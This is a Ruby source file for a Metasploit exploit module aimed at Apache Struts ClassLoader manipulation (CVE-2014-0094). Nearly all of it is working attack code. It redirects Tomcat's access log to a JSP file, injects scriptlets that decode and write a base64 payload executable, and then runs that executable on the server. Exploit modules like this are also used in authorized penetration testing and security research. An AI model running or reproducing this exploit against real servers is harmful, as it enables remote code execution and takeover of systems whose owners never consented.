Files
metasploit-gs/modules/exploits/multi/http/struts_code_exec_classloader.rb
T
2014-04-29 17:36:04 +02:00

147 lines
4.8 KiB
Ruby

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts ClassLoader Manipulation Remote Code Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in Apache Struts
versions < 2.3.16.2. This issue is caused because the ParametersInterceptor allows
access to 'class' parameter which is directly mapped to getClass() method and
allows ClassLoader manipulation, which allows remote attackers to execute arbitrary
Java code via crafted parameters.
},
'Author' =>
[
'Mark Thomas', # Vulnerability Discovery
'Przemyslaw Celej', # Vulnerability Discovery
'pwntester <alvaro[at]pwntester.com>', # PoC
'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2014-0094'],
[ 'URL', 'http://www.pwntester.com/blog/2014/04/24/struts2-0day-in-the-wild/'],
[ 'URL', 'http://struts.apache.org/release/2.3.x/docs/s2-020.html']
],
'Platform' => %w{ java linux win },
'Privileged' => true,
'Targets' =>
[
['Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'windows'
}
],
['Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
[ 'Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
},
]
],
'DisclosureDate' => 'Mar 06 2014',
'DefaultTarget' => 2))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/hello_world/hello.action"])
], self.class)
end
def exec_cmd(uri, cmd = "")
resp = send_request_cgi({
'uri' => uri+cmd,
'version' => '1.1',
'method' => 'GET',
})
return resp
end
def exploit
prefix_jsp = rand_text_alphanumeric(3+rand(3))
date_format = rand_text_numeric(1+rand(4))
vprint_status("#{peer} - Modifying class loader")
# Modifies classLoader parameters
exec_cmd("#{datastore['TARGETURI']}?class['classLoader'].resources.context.parent.pipeline.first.directory=webapps/ROOT") # Directory where log file os going to be created
exec_cmd("#{datastore['TARGETURI']}?class['classLoader'].resources.context.parent.pipeline.first.prefix=#{prefix_jsp}") # Filename
exec_cmd("#{datastore['TARGETURI']}?class['classLoader'].resources.context.parent.pipeline.first.suffix=.jsp") # File extension
exec_cmd("#{datastore['TARGETURI']}?class['classLoader'].resources.context.parent.pipeline.first.fileDateFormat=#{date_format}") # second part of filename: "prefix+fileDateFormat.suffix"
jsp_file = prefix_jsp
jsp_file << date_format
jsp_file << ".jsp"
vprint_status("#{peer} - created file at http://#{peer}/#{jsp_file}")
Rex.sleep(3)
# Inexistent URI that logs on previously created log file (with ".jsp" suffix)
uri = String.new(datastore['TARGETURI'])
uri << rand_text_alphanumeric(4+rand(4))
uri << "?"
uri << rand_text_alphanumeric(1+rand(1))
uri << "="
payload_exe = generate_payload_exe
payload_file = rand_text_alphanumeric(4+rand(4))
register_files_for_cleanup("#{payload_file}", "#{jsp_file}")
# Commands to be logged
exec_cmd(uri, "<%@ page import=\"java.io.FileOutputStream\" %>")
exec_cmd(uri, "<%@ page import=\"sun.misc.BASE64Decoder\" %>")
exec_cmd(uri, "<%@ page import=\"java.io.File\" %>")
exec_cmd(uri, "<% FileOutputStream oFile = new FileOutputStream(\"#{payload_file}\", false); %>")
exec_cmd(uri, "<% oFile.write(new sun.misc.BASE64Decoder().decodeBuffer(\"#{Rex::Text.encode_base64(payload_exe)}\")); %>")
exec_cmd(uri, "<% oFile.flush(); %>")
exec_cmd(uri, "<% oFile.close(); %>")
exec_cmd(uri, "<% File f = new File(\"#{payload_file}\"); %>")
exec_cmd(uri, "<% f.setExecutable(true); %>")
exec_cmd(uri, "<% Runtime.getRuntime().exec(\"./#{payload_file}\"); %>")
vprint_status("#{peer} - Waiting 10 seconds...")
Rex.sleep(10)
vprint_status("#{peer} - Accessing http://#{peer}/#{jsp_file}")
# Access the log (with ".jsp" extension) in order to execute the JSP notation logged sentences
uri = "/"
uri << jsp_file
exec_cmd(uri)
end
end